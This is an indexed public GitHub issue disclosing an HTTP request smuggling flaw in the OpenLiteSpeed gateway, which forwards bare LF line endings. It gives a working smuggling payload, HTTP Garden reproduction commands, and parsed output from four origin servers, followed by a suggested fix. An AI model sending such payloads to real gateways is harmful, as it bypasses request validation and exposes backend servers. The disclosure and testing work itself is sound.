litespeedtech / litespeedtech/openlitespeed
OLS is vulnerable to request smuggling via forwarding `\n` without normalization to `\r\n`.
- Dominant language
- C++
- Stars
- 1.5k
- Forks
- 233
- Avg merge
- 2d 19h
- Merged PRs (30d)
- 5
Description
I reported this privately in 2023, and was told "we do not feel it need to be fixed, as it is valid HTTP request, it is the backend responsibility to properly handle it."
I now report it publicly :)
# Overview
When OLS is acting as a gateway, and it receives an HTTP request that uses a `\n` alone (i.e., not `\r\n`) to separate headers, it forwards the `\n` without normalizing it to `\r\n`. This is prohibited by the RFCs, and is usable to execute request smuggling attacks when OLS is acting as a gateway for certain origin servers.
# OLS's behavior
OLS, when acting as a gateway, will transform request $A$ into request $B$:
Request $A$ (the incoming request to OLS)
```
GET / HTTP/1.1\n
Host: whatever\n
Test: test\n
\n
```
Request $B$ (the outgoing request from OLS)
```
GET / HTTP/1.1\n
Host: whatever\r\n
Test: test\n
X-Forwarded-Host: \r\n
Accept-Encoding: gzip\r\n
X-Forwarded-For: \r\n
\r\n
```
Notice the bare `\n` after the request line and `Test` header.
# How this violates the RFCs
The RFC 9112 grammar requires CRLF line endings:
> HTTP-message = start-line CRLF *( field-line CRLF ) CRLF [ message-body ]
RFC 9110 Section 2.2 says this:
> A sender MUST NOT generate protocol elements that do not match the grammar defined by the corresponding ABNF rules.
Thus, it is a violation of the standard for OLS to forward a header delimited by `\n` alone when acting as a gateway.
It's worth noting that RFC 9112 allows a *recipient* to choose to accept messages with `\n` instead of `\r\n`. This does *not* extend to senders.
# How this can be exploited
Some origin servers allow `\n` within header values. Thus, if you send a Content-Length header that is separated from the previous header with only `\n`, that `Content-Length` header will be visible to OLS but not processed by the origin server.
For a concrete example, consider the following payload:
```
POST / HTTP/1.1\r\n
Host: whatever\r\n
Test: a\n
Content-Length: 38\r\n
\r\n
GET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n
```
If you send this payload through an OLS gateway, it sees one request, with a 38-byte message body.
When the gateway forwards this, the origin server sees two requests, because the value of the `Test` header is interpreted as `a\nContent-Length: 38`, so no `Content-Length` header is found. This second request was never validated by the gateway (i.e., it was smuggled).
This can be reproduced using [the HTTP Garden](https://github.com/narfindustries/http-garden) with the following sequence of commands:
```sh
garden> # Don't automatically update the host header
garden> adjust_host off
garden> # Select the affected origin servers
garden> servers daphne gunicorn uhttpd openbsd_httpd
garden> # Set the payload
garden> payload 'POST / HTTP/1.1\r\nHost: whatever\r\nTest: a\nContent-Length: 38\r\n\r\nGET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Run the payload through the OLS gateway
garden> transduce openlitespeed_proxy
[1]: 'POST / HTTP/1.1\r\nHost: whatever\r\nTest: a\nContent-Length: 38\r\n\r\nGET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n'
⬇️ openlitespeed_proxy
[2]: 'POST / HTTP/1.1\r\nHost: whatever\r\nTest: a\nContent-Length: 38\r\nX-Forwarded-Host: whatever\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 192.168.48.1\r\n\r\nGET /evil HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Send the result to the origin servers
garden> fanout
daphne: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'host', b'whatever'),
(b'test', b'a Content-Length: 38'),
(b'x-forwarded-for', b'192.168.48.1'),
(b'x-forwarded-host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
gunicorn: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept_encoding', b'gzip'),
(b'host', b'whatever'),
(b'test', b'a\nContent-Length: 38'),
(b'x_forwarded_for', b'192.168.48.1'),
(b'x_forwarded_host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
uhttpd: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'host', b'whatever'),
(b'test', b'a\nContent-Length: 38'),
(b'x-forwarded-for', b'192.168.48.1'),
(b'x-forwarded-host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
openbsd_httpd: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'host', b'whatever'),
(b'test', b'a\nContent-Length: 38'),
(b'x-forwarded-for', b'192.168.48.1'),
(b'x-forwarded-host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
```
It's clear from the output that these four origin servers all see two requests where OLS sees only one.
# Suggested fix
OLS should implement one of the following in order to comply with the RFCs and fix the issue:
1. When acting as a gateway, normalize `\n` into `\r\n` before forwarding headers.
2. When acting as a gateway, reject messages with `\n` line endings.
Contributor guide
No contributing guide indexed for this repository
Research direction
Use the HTTP Garden reproduction with the openlitespeed_proxy transducer and the listed origin servers to observe the forwarding behavior. Trace the gateway request path and verify that bare LF line endings are either normalized to CRLF or rejected, so the origins no longer interpret the payload as two requests.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- cpp
- Domain
- networking, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 38/100